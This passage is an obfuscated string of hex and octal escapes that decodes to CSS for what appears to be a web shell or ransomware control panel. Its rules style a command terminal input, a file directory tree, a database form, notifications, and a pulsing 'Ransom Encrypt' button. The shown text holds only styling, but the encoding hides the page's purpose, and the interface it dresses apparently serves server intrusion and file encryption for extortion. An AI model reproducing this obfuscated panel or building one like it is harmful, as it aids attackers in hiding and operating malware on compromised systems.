x2d\x70\x72\x6f\155\160\164\x20\x2e\160\162\157\155\x70\x74\x2d\x73\x79\x6d\142\x6f\x6c\40\173\x20\143\x6f\154\157\162\72\40\166\141\162\50\x2d\55\141\x63\x63\x65\x6e\x74\x2d\x67\157\x6c\144\x29\x3b\40\155\x61\x72\x67\151\156\72\40\60\40\70\x70\x78\x3b\40\x7d\12\x20\11\11\43\164\x65\x72\x6d\55\x69\x6e\x70\165\x74\40\x7b\x20\167\x69\x64\164\150\x3a\x20\x31\60\60\x25\x3b\40\x62\141\x63\153\x67\x72\157\x75\x6e\x64\x3a\40\x74\x72\141\x6e\x73\160\x61\x72\145\x6e\164\73\40\142\157\x72\x64\x65\162\72\40\156\157\x6e\x65\73\x20\x63\157\x6c\157\x72\72\40\x76\x61\x72\50\55\55\164\145\170\x74\55\x6c\151\147\x68\x74\51\73\x20\x66\157\x6e\164\55\146\x61\155\x69\154\x79\x3a\40\x76\141\x72\x28\55\x2d\146\157\156\x74\x2d\x66\141\x6d\151\x6c\171\x29\73\40\x66\x6f\156\x74\x2d\163\x69\172\145\72\x20\61\x34\160\x78\73\x20\x6f\x75\x74\x6c\x69\156\145\72\40\156\157\156\x65\73\x20\x7d\xa\40\x9\11\x69\156\160\x75\164\x5b\164\x79\x70\x65\x3d\42\164\145\170\164\42\x5d\x2c\40\x69\x6e\x70\165\164\133\164\x79\x70\x65\75\42\160\x61\163\x73\167\x6f\x72\x64\42\x5d\x2c\x20\x69\156\160\165\164\133\164\x79\x70\x65\x3d\x22\156\x75\155\x62\145\162\x22\135\x2c\x20\x74\145\170\x74\141\x72\x65\141\x2c\x20\163\x65\x6c\145\143\x74\40\x7b\40\142\141\x63\x6b\147\x72\x6f\x75\x6e\144\72\40\x76\x61\x72\50\x2d\x2d\142\147\55\144\x61\162\x6b\51\73\x20\x63\x6f\154\x6f\x72\x3a\40\x76\x61\x72\50\55\55\164\x65\x78\x74\x2d\x6c\151\147\x68\x74\x29\x3b\40\x62\157\x72\144\145\x72\x3a\40\61\160\x78\40\x73\x6f\154\x69\144\x20\166\x61\162\50\55\x2d\142\157\x72\144\x65\162\55\143\x6f\154\x6f\162\x29\73\x20\x70\x61\144\144\x69\x6e\147\72\x20\61\x30\x70\170\40\x31\x32\x70\170\x3b\40\142\x6f\162\x64\x65\x72\55\162\x61\x64\x69\x75\163\x3a\x20\x36\160\170\x3b\x20\x66\157\x6e\164\55\146\141\x6d\151\154\171\x3a\40\166\141\162\50\x2d\x2d\x66\x6f\x6e\x74\55\x66\141\x6d\x69\x6c\171\51\73\x20\x66\x6f\x6e\x74\x2d\163\151\172\x65\72\x20\x31\x34\x70\x78\x3b\40\x74\162\x61\156\163\x69\164\151\157\x6e\72\40\142\157\162\x64\145\x72\x2d\143\x6f\x6c\x6f\x72\x20\x30\x2e\x32\x73\x2c\x20\142\157\x78\55\x73\150\x61\x64\x6f\167\x20\60\x2e\62\x73\x3b\x20\x7d\xa\x20\x9\11\151\156\160\x75\x74\133\x74\x79\x70\x65\75\x22\x74\x65\170\164\x22\135\72\x66\157\x63\165\x73\54\x20\x69\x6e\160\165\x74\x5b\x74\x79\x70\145\x3d\x22\160\x61\163\163\167\x6f\162\144\42\x5d\x3a\x66\157\143\x75\163\54\x20\151\x6e\160\165\x74\x5b\x74\171\x70\145\75\x22\x6e\x75\155\x62\145\162\42\135\x3a\146\157\x63\x75\x73\x2c\x20\164\145\x78\x74\141\162\x65\x61\72\146\157\x63\x75\x73\x20\173\x20\157\165\164\154\x69\x6e\145\x3a\x20\x6e\157\x6e\145\x3b\x20\142\x6f\x72\144\145\x72\55\x63\157\154\x6f\x72\72\x20\x76\141\x72\50\55\x2d\x61\x63\143\145\x6e\164\55\x62\154\x75\145\x29\x3b\40\x62\157\x78\x2d\x73\150\141\x64\157\x77\72\x20\x30\40\x30\40\x30\x20\62\x70\170\40\162\147\142\x61\50\61\x33\60\x2c\x20\x31\67\60\54\40\62\65\x35\54\x20\60\56\63\x29\73\x20\175\12\40\x9\x9\x62\x75\x74\x74\x6f\x6e\x20\173\x20\143\165\162\x73\x6f\x72\x3a\x20\160\x6f\x69\x6e\164\x65\x72\x3b\x20\x62\141\143\153\x67\162\x6f\x75\156\x64\72\40\x76\x61\162\50\55\x2d\141\x63\x63\145\x6e\164\55\x62\154\165\x65\51\73\x20\143\157\154\157\162\x3a\x20\166\x61\162\x28\55\55\142\x67\x2d\144\x61\162\x6b\x29\x3b\x20\x62\157\162\144\145\162\x3a\x20\x6e\157\156\x65\73\40\x70\x61\144\144\x69\x6e\x67\72\40\x31\x30\160\x78\40\x31\70\160\x78\x3b\x20\142\157\x72\x64\145\162\x2d\162\x61\144\x69\165\x73\x3a\40\66\160\x78\x3b\x20\146\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x20\x76\141\x72\x28\55\x2d\x66\x6f\156\x74\x2d\x66\x61\155\151\x6c\x79\x29\73\40\x66\x6f\x6e\164\x2d\x77\x65\151\147\150\164\72\40\65\60\60\73\x20\146\x6f\x6e\164\55\163\151\x7a\x65\x3a\x20\61\x34\160\170\73\x20\x74\162\141\x6e\163\151\164\x69\x6f\x6e\x3a\40\x62\x61\143\x6b\x67\x72\x6f\165\156\x64\40\x30\56\62\163\x2c\40\164\x72\141\x6e\163\x66\157\x72\155\40\60\56\x31\x73\x3b\40\x7d\xa\40\x9\11\142\x75\164\164\157\x6e\x3a\x68\157\166\145\162\40\173\40\142\141\x63\153\x67\162\157\165\x6e\x64\x3a\40\x23\x39\144\143\61\146\146\73\x20\x7d\12\40\x9\x9\142\165\x74\x74\x6f\x6e\x3a\x61\x63\x74\151\166\145\x20\x7b\40\164\x72\141\x6e\x73\146\x6f\162\x6d\72\x20\x73\143\x61\154\x65\x28\60\x2e\x39\x38\x29\x3b\40\x7d\12\11\x9\x62\x75\164\x74\157\x6e\x2e\x64\x61\x6e\147\x65\x72\55\142\164\x6e\40\x7b\x20\x62\x61\x63\153\147\x72\157\x75\156\x64\x3a\x20\166\x61\162\x28\55\55\141\143\143\x65\156\x74\55\x72\x65\x64\x29\73\x20\143\x6f\154\x6f\162\72\x20\x76\141\162\x28\55\x2d\x74\145\x78\164\x2d\x6c\x69\147\150\164\51\73\x20\175\xa\x9\x9\142\165\x74\x74\157\x6e\x2e\144\141\156\147\145\162\x2d\x62\164\x6e\x3a\x68\x6f\x76\x65\x72\40\173\40\142\x61\x63\x6b\147\162\157\165\x6e\144\72\40\x23\146\146\x37\71\71\61\73\x20\x7d\12\11\x9\xa\11\x9\57\52\x20\x53\x70\x65\143\x69\141\x6c\x20\163\164\x79\154\151\156\147\x20\x66\157\x72\x20\x52\141\156\x73\157\155\40\x45\156\x63\x72\171\160\164\40\x42\x75\164\164\x6f\x6e\40\52\x2f\xa\11\11\x23\162\x61\156\163\157\x6d\x2d\x65\156\x63\162\171\x70\x74\x2d\142\x74\x6e\40\x7b\xa\x9\11\x9\160\x6f\163\x69\164\151\157\156\x3a\x20\162\x65\x6c\141\164\x69\x76\x65\73\xa\11\x9\11\x62\x61\143\x6b\x67\162\x6f\x75\x6e\144\x3a\40\x6c\x69\x6e\x65\141\162\x2d\147\x72\141\144\x69\x65\156\x74\50\61\x33\65\x64\x65\147\54\40\x23\x64\143\63\x35\64\65\40\60\45\54\40\x23\x63\70\x32\x33\63\63\x20\65\60\x25\54\40\43\x62\x64\x32\x31\63\x30\40\x31\x30\60\x25\x29\73\xa\x9\11\x9\x63\x6f\154\157\x72\72\40\x23\146\x66\x66\146\146\x66\x3b\12\x9\11\x9\146\x6f\x6e\164\55\x77\x65\151\147\150\164\x3a\40\x36\60\x30\x3b\xa\x9\x9\x9\146\157\156\164\x2d\x73\x69\x7a\145\x3a\40\61\65\x70\x78\73\12\x9\x9\11\154\x65\164\164\x65\162\55\x73\160\x61\x63\151\x6e\x67\x3a\40\x30\x2e\65\160\170\73\12\x9\11\11\160\x61\x64\144\151\x6e\147\x3a\40\61\64\160\170\40\x32\x34\160\x78\73\12\x9\11\11\142\157\162\x64\145\x72\72\x20\x32\x70\x78\x20\x73\x6f\154\151\x64\x20\x72\147\x62\141\x28\x32\x35\x35\54\x20\62\65\65\54\40\x32\65\x35\x2c\x20\x30\56\62\51\73\12\11\11\11\x62\x6f\x78\55\163\x68\x61\x64\157\167\x3a\40\x30\40\x34\160\170\40\x31\65\x70\170\40\162\x67\x62\x61\50\x32\62\60\x2c\x20\x35\x33\x2c\40\x36\71\x2c\x20\60\56\64\x29\x2c\12\x9\x9\x9\11\11\x9\60\x20\x30\40\x32\60\160\170\x20\x72\x67\x62\x61\50\62\x32\60\x2c\x20\x35\x33\54\40\66\x39\54\x20\60\x2e\62\x29\54\xa\11\x9\x9\x9\x9\11\151\x6e\x73\x65\164\40\60\x20\61\160\170\x20\x30\x20\162\x67\x62\141\x28\x32\x35\x35\54\x20\62\65\x35\x2c\x20\62\65\65\54\40\60\56\61\51\x3b\12\11\x9\x9\x74\145\170\164\x2d\164\x72\141\156\163\x66\157\162\155\72\40\x75\160\x70\145\x72\x63\x61\x73\145\x3b\xa\x9\x9\11\157\x76\145\x72\146\154\157\x77\72\40\x68\x69\x64\x64\x65\x6e\73\12\11\11\11\164\162\x61\156\x73\x69\x74\x69\157\x6e\72\x20\x61\x6c\154\40\x30\56\63\x73\40\x63\x75\x62\151\143\55\x62\145\x7a\151\x65\162\50\x30\x2e\x34\54\40\x30\x2c\40\x30\x2e\62\54\40\x31\51\73\12\x9\x9\x7d\12\x9\11\12\11\11\43\x72\x61\156\163\x6f\x6d\x2d\145\x6e\x63\162\171\x70\x74\x2d\x62\x74\156\72\x3a\142\145\x66\157\x72\x65\x20\173\xa\11\11\x9\143\157\x6e\164\145\x6e\164\x3a\x20\47\x27\x3b\xa\x9\11\x9\x70\x6f\x73\x69\164\151\x6f\x6e\x3a\40\x61\142\x73\x6f\x6c\x75\x74\x65\73\12\x9\11\11\x74\x6f\160\72\40\60\x3b\xa\x9\11\x9\x6c\x65\x66\164\x3a\x20\55\x31\x30\60\45\x3b\12\11\x9\11\x77\151\x64\164\150\x3a\x20\x31\60\x30\45\x3b\xa\11\x9\x9\x68\145\151\147\150\164\72\x20\x31\x30\x30\x25\73\xa\11\x9\x9\x62\141\x63\153\x67\162\157\165\x6e\144\x3a\40\x6c\x69\x6e\x65\141\162\x2d\x67\162\141\144\151\x65\156\x74\x28\x39\60\144\x65\147\54\40\164\162\141\x6e\x73\x70\141\162\145\x6e\164\x2c\x20\162\147\x62\141\x28\62\x35\65\54\x20\62\65\x35\54\40\62\x35\x35\54\x20\x30\x2e\x32\51\x2c\x20\164\162\141\156\x73\x70\141\x72\x65\x6e\x74\51\x3b\12\x9\11\x9\x74\x72\x61\156\x73\151\164\x69\x6f\x6e\72\40\x6c\145\146\x74\x20\x30\x2e\x35\163\73\xa\x9\x9\175\12\11\x9\12\x9\x9\x23\x72\x61\156\x73\x6f\x6d\x2d\145\x6e\143\162\171\x70\164\x2d\x62\164\x6e\x3a\x68\157\166\145\x72\x3a\x3a\142\145\146\157\162\x65\x20\173\xa\x9\11\11\154\x65\146\164\72\x20\61\60\60\45\x3b\xa\x9\x9\x7d\xa\11\11\xa\x9\x9\43\x72\x61\156\x73\x6f\x6d\x2d\x65\156\x63\162\171\160\164\x2d\142\x74\156\x3a\150\157\x76\145\x72\40\173\xa\x9\x9\11\x62\x61\143\x6b\x67\x72\157\165\x6e\144\x3a\40\x6c\151\x6e\145\141\x72\55\x67\162\141\x64\151\145\156\x74\50\x31\63\65\x64\x65\x67\x2c\x20\x23\145\x36\63\71\x34\66\40\60\45\54\40\43\x64\66\x32\x38\x33\x39\x20\65\60\45\x2c\40\43\143\x38\x32\63\63\63\40\x31\60\60\45\51\x3b\12\11\x9\x9\164\162\141\x6e\x73\x66\x6f\x72\155\x3a\40\164\162\x61\156\163\x6c\x61\164\x65\x59\x28\55\x32\x70\170\51\73\xa\11\x9\11\142\x6f\x78\55\163\x68\x61\x64\157\167\x3a\40\60\40\x36\160\170\x20\x32\65\x70\170\x20\x72\x67\142\141\x28\x32\x32\60\54\40\x35\x33\x2c\x20\x36\x39\x2c\40\60\x2e\66\51\x2c\xa\11\11\x9\x9\x9\x9\x30\x20\x30\40\63\x30\160\170\40\162\147\x62\141\50\x32\62\60\54\40\x35\x33\x2c\x20\66\x39\54\x20\x30\x2e\x33\51\54\12\11\11\x9\x9\x9\x9\151\156\x73\x65\164\40\x30\40\x31\x70\x78\x20\60\40\x72\147\x62\141\50\62\x35\x35\54\x20\62\65\x35\54\40\x32\x35\65\54\x20\60\x2e\62\51\73\12\11\x9\x9\142\x6f\x72\x64\145\x72\55\143\x6f\154\157\x72\x3a\40\x72\147\142\141\x28\x32\x35\65\54\x20\x32\x35\65\54\x20\62\65\65\54\40\x30\x2e\x33\x29\73\xa\11\11\x7d\12\x9\x9\12\x9\11\x23\162\x61\x6e\163\x6f\x6d\x2d\x65\156\x63\162\171\160\x74\55\x62\164\156\x3a\141\x63\164\151\x76\x65\40\173\12\11\x9\x9\164\x72\x61\156\163\146\x6f\162\x6d\72\x20\164\x72\x61\x6e\163\x6c\141\x74\x65\x59\50\60\x70\x78\x29\x3b\xa\x9\11\11\x62\x6f\x78\x2d\163\150\141\144\x6f\x77\x3a\x20\60\40\62\x70\x78\x20\x31\x30\160\170\40\x72\147\142\141\50\62\x32\60\54\x20\x35\63\54\x20\x36\x39\54\x20\60\x2e\x34\x29\54\xa\11\11\x9\11\x9\11\151\x6e\163\145\x74\40\60\40\62\160\170\x20\x34\x70\170\40\x72\147\142\x61\x28\x30\x2c\x20\x30\x2c\40\60\54\x20\x30\56\x32\x29\x3b\xa\x9\11\x7d\12\x9\11\xa\x9\x9\43\162\141\156\x73\x6f\x6d\x2d\x65\156\143\x72\171\160\x74\x2d\142\164\x6e\72\146\157\x63\x75\163\x20\173\xa\x9\x9\11\x6f\165\x74\x6c\151\x6e\x65\72\x20\x6e\157\x6e\x65\73\xa\x9\11\x9\142\157\x78\x2d\x73\x68\141\144\157\167\x3a\x20\x30\40\x34\160\170\x20\x31\x35\160\x78\40\x72\x67\142\x61\x28\x32\62\60\x2c\40\65\63\x2c\x20\66\71\x2c\40\x30\x2e\x34\51\54\xa\11\x9\x9\x9\x9\11\60\40\60\40\62\x30\160\x78\40\x72\x67\x62\141\50\62\x32\x30\x2c\40\x35\63\54\40\66\71\x2c\40\x30\x2e\62\x29\54\xa\11\x9\11\11\11\x9\x30\x20\60\x20\x30\x20\x33\160\170\x20\162\147\142\141\x28\x32\x32\x30\x2c\40\x35\63\x2c\x20\x36\x39\x2c\x20\x30\56\x33\51\x3b\xa\x9\11\175\xa\11\11\xa\11\11\57\52\x20\120\x75\x6c\x73\145\x20\141\156\x69\x6d\x61\164\151\x6f\x6e\x20\x66\x6f\x72\x20\x61\164\x74\x65\x6e\164\151\x6f\x6e\40\x2a\57\xa\11\x9\100\x6b\x65\171\146\162\141\x6d\145\x73\x20\162\141\x6e\x73\157\155\120\x75\154\163\x65\x20\173\xa\11\x9\11\x30\45\54\40\61\60\x30\45\x20\x7b\xa\11\11\x9\11\142\x6f\x78\x2d\163\x68\x61\x64\x6f\167\x3a\x20\x30\x20\64\160\x78\x20\61\65\x70\x78\x20\162\147\142\x61\50\62\x32\60\54\40\x35\63\54\40\66\71\54\40\x30\x2e\x34\51\x2c\xa\x9\x9\11\x9\x9\x9\11\60\40\60\x20\x32\x30\x70\170\x20\x72\147\x62\141\x28\x32\x32\60\x2c\40\65\x33\x2c\x20\66\71\54\40\x30\x2e\x32\51\x3b\xa\11\x9\11\x7d\12\11\x9\11\65\x30\x25\40\173\xa\x9\x9\11\11\x62\x6f\x78\x2d\x73\x68\141\x64\x6f\x77\72\x20\x30\x20\x34\x70\x78\40\x32\60\160\x78\x20\162\147\142\141\x28\62\x32\60\54\40\x35\x33\54\40\66\71\x2c\x20\60\x2e\66\x29\54\xa\11\x9\11\x9\x9\x9\11\60\x20\60\40\63\60\160\x78\x20\x72\147\x62\x61\50\x32\x32\x30\54\40\65\63\54\x20\66\71\54\x20\x30\x2e\x34\x29\x3b\12\11\11\11\175\12\11\11\175\xa\x9\x9\xa\x9\x9\x23\162\x61\x6e\163\157\155\55\145\156\143\162\171\160\164\55\142\x74\156\x3a\x6e\157\164\50\72\144\151\163\x61\x62\x6c\145\x64\x29\40\173\xa\x9\x9\x9\x61\156\151\x6d\141\x74\x69\157\x6e\72\x20\x72\x61\x6e\163\157\155\x50\x75\x6c\x73\x65\40\62\163\x20\x65\141\163\x65\55\x69\x6e\55\x6f\x75\x74\x20\151\156\146\x69\156\151\x74\x65\x3b\xa\11\x9\x7d\xa\x9\11\xa\11\11\57\52\x20\x44\151\x73\x61\142\154\x65\x64\40\x73\x74\141\164\145\40\x2a\x2f\xa\x9\11\x23\162\141\156\x73\x6f\155\55\x65\156\x63\x72\x79\x70\x74\55\142\164\156\72\144\151\163\x61\x62\x6c\145\144\x20\x7b\12\x9\x9\x9\x6f\x70\x61\x63\x69\164\x79\x3a\x20\x30\56\x36\73\xa\11\x9\x9\x63\x75\x72\163\157\x72\x3a\x20\x6e\157\164\x2d\x61\154\154\x6f\x77\145\144\73\12\x9\x9\11\x61\156\151\x6d\141\164\x69\157\156\x3a\x20\156\157\156\x65\x3b\xa\x9\11\x7d\12\x20\x9\x9\56\157\165\164\160\x75\164\x2d\142\157\170\x20\x7b\40\142\141\x63\x6b\x67\162\157\x75\x6e\x64\x3a\40\x76\x61\x72\50\55\55\142\147\55\x64\x61\x72\x6b\51\73\40\x70\x61\144\x64\x69\x6e\x67\x3a\40\x31\162\145\x6d\x3b\40\x62\x6f\x72\x64\x65\x72\72\40\x31\160\170\40\x73\157\x6c\151\144\40\x76\x61\162\x28\x2d\55\x62\x6f\x72\x64\x65\x72\55\x63\x6f\154\x6f\162\x29\x3b\40\x62\157\x72\144\x65\162\x2d\x72\141\144\x69\165\x73\72\x20\x36\160\170\x3b\x20\x6d\x69\156\x2d\x68\145\151\147\150\164\x3a\x20\61\x35\x30\160\x78\73\x20\167\x68\x69\164\145\55\x73\160\141\x63\145\72\x20\160\162\x65\73\40\157\166\145\162\x66\x6c\157\x77\x2d\x78\72\40\x61\165\x74\157\x3b\40\155\x61\x72\x67\x69\x6e\55\164\157\x70\72\x20\61\x72\145\x6d\73\x20\146\157\156\164\55\x73\x69\x7a\x65\72\x20\61\x33\x70\x78\x3b\175\12\40\11\11\x2e\103\157\x64\145\x4d\151\162\x72\157\162\x20\x7b\40\x68\x65\151\x67\150\x74\x3a\40\x31\x30\x30\45\x3b\40\x62\157\x72\144\145\x72\x3a\40\61\160\170\x20\163\x6f\154\151\144\x20\x76\141\x72\x28\x2d\x2d\142\157\162\144\145\x72\55\x63\157\154\x6f\x72\x29\73\x20\x62\157\x72\144\x65\x72\55\x72\x61\144\151\165\163\x3a\x20\x36\160\x78\73\x20\x7d\12\x20\11\x9\x2e\x74\157\141\163\x74\40\x7b\40\160\x6f\x73\151\164\x69\157\156\72\40\146\x69\x78\145\x64\73\x20\x62\157\164\164\x6f\x6d\72\40\55\x31\x30\x30\x70\x78\x3b\40\x6c\145\x66\x74\x3a\40\65\60\x25\x3b\40\x74\162\141\x6e\x73\146\x6f\x72\x6d\x3a\x20\x74\x72\x61\x6e\x73\x6c\x61\x74\145\x58\50\x2d\65\x30\x25\51\73\x20\142\x61\x63\153\147\x72\x6f\165\156\144\x3a\x20\166\141\x72\x28\x2d\x2d\141\x63\143\x65\156\x74\55\x67\x72\x65\x65\x6e\51\73\40\143\157\154\x6f\x72\x3a\40\x76\141\x72\50\x2d\55\x62\147\x2d\144\141\x72\x6b\x29\73\x20\x70\x61\x64\x64\x69\x6e\147\72\x20\61\62\160\170\x20\62\x35\160\x78\x3b\40\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x20\66\160\170\73\40\172\x2d\x69\x6e\144\x65\x78\x3a\x20\62\60\x30\x30\73\x20\x62\x6f\170\x2d\163\150\141\x64\157\167\x3a\x20\60\40\x35\x70\x78\x20\x31\65\160\x78\40\162\x67\142\141\50\x30\x2c\x30\54\60\x2c\60\56\x32\x29\x3b\x20\146\x6f\x6e\x74\x2d\x77\x65\151\147\150\x74\72\40\x35\60\60\x3b\x20\x74\x72\141\156\163\x69\x74\x69\157\156\x3a\40\142\157\x74\164\x6f\x6d\40\60\x2e\x35\163\x20\145\x61\x73\145\x2d\151\156\x2d\x6f\165\164\73\40\x7d\12\x20\11\11\x2e\164\x6f\x61\163\164\56\x65\x72\x72\157\x72\x20\173\x20\142\141\143\x6b\x67\162\x6f\165\156\x64\x2d\x63\157\x6c\x6f\162\72\x20\166\x61\x72\x28\55\x2d\141\143\x63\145\x6e\164\x2d\x72\x65\144\x29\x3b\40\143\157\154\x6f\162\x3a\40\166\141\x72\x28\55\55\164\145\x78\164\55\x6c\x69\x67\150\164\51\73\x20\175\xa\x20\x9\11\56\164\157\141\x73\164\x2e\x73\x68\x6f\x77\x20\173\40\x62\157\164\164\157\x6d\x3a\x20\62\60\160\170\x3b\40\175\12\11\x9\56\x6e\157\164\x69\x66\151\x63\x61\x74\151\157\x6e\x2d\151\x74\x65\x6d\x20\x7b\40\142\x61\143\153\147\162\157\x75\x6e\x64\72\x20\166\x61\162\x28\55\55\142\x67\x2d\x6d\x65\144\x29\73\x20\x62\x6f\162\144\145\x72\x3a\40\x31\x70\170\x20\x73\x6f\x6c\x69\144\x20\x76\x61\x72\50\x2d\x2d\x62\x6f\x72\x64\x65\x72\55\143\157\x6c\x6f\x72\x29\x3b\40\x62\x6f\162\x64\145\162\x2d\x72\x61\x64\x69\x75\x73\72\x20\x36\160\170\73\x20\x70\x61\x64\x64\151\156\147\72\x20\61\62\160\170\73\x20\x64\x69\x73\160\154\141\171\x3a\40\x66\x6c\x65\x78\x3b\x20\x6a\165\x73\164\151\x66\171\x2d\x63\157\156\x74\145\156\x74\72\x20\163\160\141\143\x65\x2d\142\x65\x74\167\145\145\156\73\x20\141\154\151\147\156\55\x69\x74\x65\155\163\72\x20\163\164\141\162\x74\x3b\x20\x67\141\x70\72\40\x31\162\x65\x6d\73\x20\175\xa\x9\x9\x2e\156\x6f\x74\x69\x66\151\x63\141\164\151\157\x6e\x2d\x69\164\x65\155\x2e\151\156\x66\157\x20\x7b\x20\142\157\162\x64\x65\162\55\x6c\145\146\164\72\x20\x33\160\x78\x20\x73\157\154\x69\x64\40\x76\x61\x72\x28\55\55\x61\x63\x63\x65\156\164\x2d\142\154\165\x65\x29\x3b\x20\175\xa\x9\x9\56\156\157\x74\x69\x66\151\x63\x61\164\x69\157\156\55\151\164\x65\155\56\163\x75\x63\x63\145\163\x73\x20\173\40\142\157\162\144\x65\162\x2d\x6c\145\146\164\x3a\x20\63\x70\170\40\163\x6f\154\x69\x64\40\x76\x61\162\x28\x2d\55\x61\x63\143\145\x6e\164\x2d\x67\162\x65\145\156\x29\73\40\x7d\12\11\x9\56\x6e\x6f\x74\x69\x66\x69\143\141\x74\151\x6f\156\55\151\164\145\155\x2e\167\x61\x72\x6e\x69\x6e\147\40\173\40\x62\157\x72\x64\145\x72\x2d\x6c\x65\x66\x74\x3a\40\63\x70\x78\40\x73\x6f\x6c\151\144\40\x76\x61\162\x28\55\x2d\x61\x63\143\145\156\164\55\x67\157\154\x64\51\73\x20\175\xa\11\x9\x2e\156\157\164\x69\146\x69\x63\141\x74\151\157\156\x2d\151\164\145\x6d\56\145\x72\162\157\x72\40\173\40\x62\x6f\162\144\x65\x72\55\x6c\145\x66\x74\x3a\40\x33\160\170\x20\x73\157\154\151\144\x20\166\141\x72\50\55\55\x61\x63\x63\x65\x6e\164\x2d\162\x65\144\51\73\40\x7d\12\x9\x9\56\x6e\157\164\151\146\x69\x63\x61\x74\151\157\x6e\x2d\143\x6f\156\164\145\x6e\164\40\x7b\x20\x66\x6c\x65\170\72\x20\x31\x3b\40\175\xa\11\x9\x2e\156\x6f\x74\151\x66\151\143\x61\x74\x69\157\x6e\x2d\x74\x69\x74\x6c\145\40\173\40\x66\x6f\156\164\55\x77\145\151\x67\150\x74\x3a\x20\65\60\x30\x3b\x20\x6d\x61\x72\147\151\x6e\x2d\x62\157\x74\164\x6f\x6d\72\x20\x34\160\x78\73\x20\175\xa\x9\11\x2e\x6e\157\x74\151\146\151\x63\x61\164\151\x6f\x6e\x2d\155\x65\x73\x73\141\147\x65\x20\173\x20\143\157\x6c\157\162\72\40\166\141\162\50\x2d\x2d\x74\x65\170\x74\x2d\155\x65\144\51\x3b\x20\146\x6f\156\164\x2d\163\151\172\x65\x3a\x20\60\56\71\x72\145\155\73\40\x7d\xa\11\11\x2e\156\157\x74\x69\x66\151\x63\141\x74\x69\x6f\156\55\x74\x69\155\145\40\173\x20\143\157\x6c\157\162\72\40\166\141\162\50\x2d\x2d\164\145\170\164\x2d\155\145\144\51\x3b\40\146\x6f\x6e\164\x2d\x73\151\172\x65\x3a\x20\60\x2e\70\162\x65\155\x3b\x20\175\xa\x9\11\x2e\156\x6f\164\151\x66\x69\x63\x61\x74\151\157\x6e\x2d\143\154\157\163\145\40\173\40\143\165\x72\163\x6f\x72\x3a\40\160\x6f\151\156\x74\x65\x72\73\40\143\x6f\154\x6f\162\x3a\40\x76\x61\x72\x28\55\55\x74\x65\x78\x74\55\155\x65\144\51\73\40\x66\x6f\156\x74\55\x73\x69\172\x65\72\x20\x31\56\x32\x72\x65\155\x3b\x20\154\x69\x6e\x65\55\150\x65\151\147\150\164\72\40\x31\x3b\40\175\xa\11\x9\x2e\156\157\x74\x69\x66\x69\x63\x61\x74\151\157\x6e\55\x63\154\157\163\145\x3a\x68\157\x76\145\x72\40\x7b\40\x63\x6f\154\x6f\x72\x3a\40\166\x61\x72\x28\55\x2d\141\143\x63\x65\156\164\55\162\x65\144\x29\x3b\x20\175\xa\x20\x9\x9\x2e\x64\151\162\x2d\x74\x72\x65\x65\x20\165\154\x20\x7b\40\x6c\151\x73\164\x2d\x73\x74\x79\x6c\145\x3a\40\x6e\x6f\156\145\x3b\x20\x70\x61\144\144\151\156\x67\x2d\154\145\x66\x74\x3a\x20\62\60\160\170\73\40\175\40\x2e\144\151\x72\x2d\164\162\x65\x65\40\154\x69\40\x7b\x20\160\141\x64\x64\x69\x6e\x67\72\x20\x34\x70\x78\40\60\73\40\x7d\x20\56\144\x69\162\x2d\x74\x72\x65\145\x20\x6c\141\142\x65\154\x20\x7b\40\x64\151\x73\x70\154\x61\x79\x3a\40\146\x6c\145\x78\73\x20\x61\154\151\x67\x6e\55\151\x74\x65\155\x73\72\x20\x63\x65\156\x74\x65\162\73\x20\x7d\x20\56\x64\x69\162\x2d\x74\162\145\x65\55\x6e\x6f\x64\x65\40\x7b\40\143\x75\162\163\x6f\162\x3a\x20\160\157\151\156\x74\x65\162\x3b\x20\165\x73\145\x72\x2d\163\145\x6c\x65\143\164\72\x20\156\x6f\x6e\x65\73\x20\175\12\x20\11\11\56\144\x69\162\55\x74\162\x65\145\x2d\x6e\157\144\145\72\72\142\145\x66\157\x72\145\40\x7b\x20\143\x6f\x6e\x74\x65\156\164\x3a\40\47\360\x9f\223\x81\x27\x3b\40\x6d\141\162\147\x69\x6e\55\162\x69\x67\x68\x74\x3a\40\70\x70\170\x3b\x20\175\x20\56\x64\151\162\55\x74\x72\145\x65\x2d\156\157\144\x65\56\x63\157\x6c\x6c\x61\x70\163\145\144\72\72\142\145\x66\157\x72\145\40\x7b\x20\143\157\156\164\x65\156\164\72\x20\47\xf0\237\223\202\x27\73\40\175\40\56\x64\151\162\55\164\x72\145\x65\40\x69\156\x70\165\164\x5b\164\x79\x70\145\75\x22\143\150\145\x63\153\142\x6f\170\x22\135\40\x7b\x20\x6d\x61\162\x67\x69\x6e\55\x72\x69\147\150\x74\x3a\x20\70\160\x78\73\40\164\162\141\156\163\146\x6f\x72\x6d\x3a\x20\x73\x63\141\x6c\x65\x28\x31\x2e\61\51\x3b\40\175\xa\x20\11\x9\x2e\144\x62\55\146\x6f\x72\155\55\x67\162\151\144\x20\173\x20\144\151\x73\x70\154\x61\x79\72\x20\147\x72\151\x64\x3b\x20\x67\x72\151\x64\55\x74\x65\155\160\154\141\x74\145\55\x63\157\x6c\165\x6d\156\163\72\x20\x72\x65\x70\x65\141\x74\x28\x61\165\x74\x6f\55\146\x69\164\x2c\40\x6d\151\x6e\x6d\141\170\50\x32\x30\60\160\170\54\x20\61\x66\x72\51\x29\73\x20\x67\x61\x70\72\x20\x31\162\145\x6d\73\x20\x6d\141\x72\147\x69\x6e\x2d\142\x6f\x74\164\x6f\x6d\72\x20\x31\x2e\65\162\x65\155\x3b\40\x7d\xa\x20\11\11\56\164\x61\142\x73\x20\x7b\x20\144\x69\x73\160\x6c\x61\x79\72\40\146\154\x65\x78\73\x20\142\157\x72\144\x65\162\55\142\x6f\164\x74\157\155\x3a\x20\61\160\170\40\163\x6f\x6c\151\x64\x20\166\141\162\x28\55\55\x62\x6f\162\144\x65\x72\x2d\x63\157\x6c\x6f\162\51\73\x20\x6d\x61\162\x67\151\156\55\142\x6f\164\164\157\155\72\40\x31\56\65\162\x65\x6d\73\40\x7d\12\x20\11\11\56\x74\x61\142\x2d\x6c\151\156\153\x20\x7b\x20\160\141\144\x64\x69\156\x67\x3a\x20\x31\60\160\170\x20\x32\x30\x70\x78\x3b\40\143\x75\x72\163\x6f\162\72\40\x70\x6f\151\x6e\x74\145\x72\73\x20\x62\x6f\x72\144\x65\x72\55\x62\157\164\x74\x6f\x6d\72\40\x32\x70\x78\x20\x73\157\154\x69\144\x20\164\x72\x61\x6e\163\x70\x61\162\x65\x6e\x74\73\x20\164\162\x61\156\163\151\x74\151\157\156\72\x2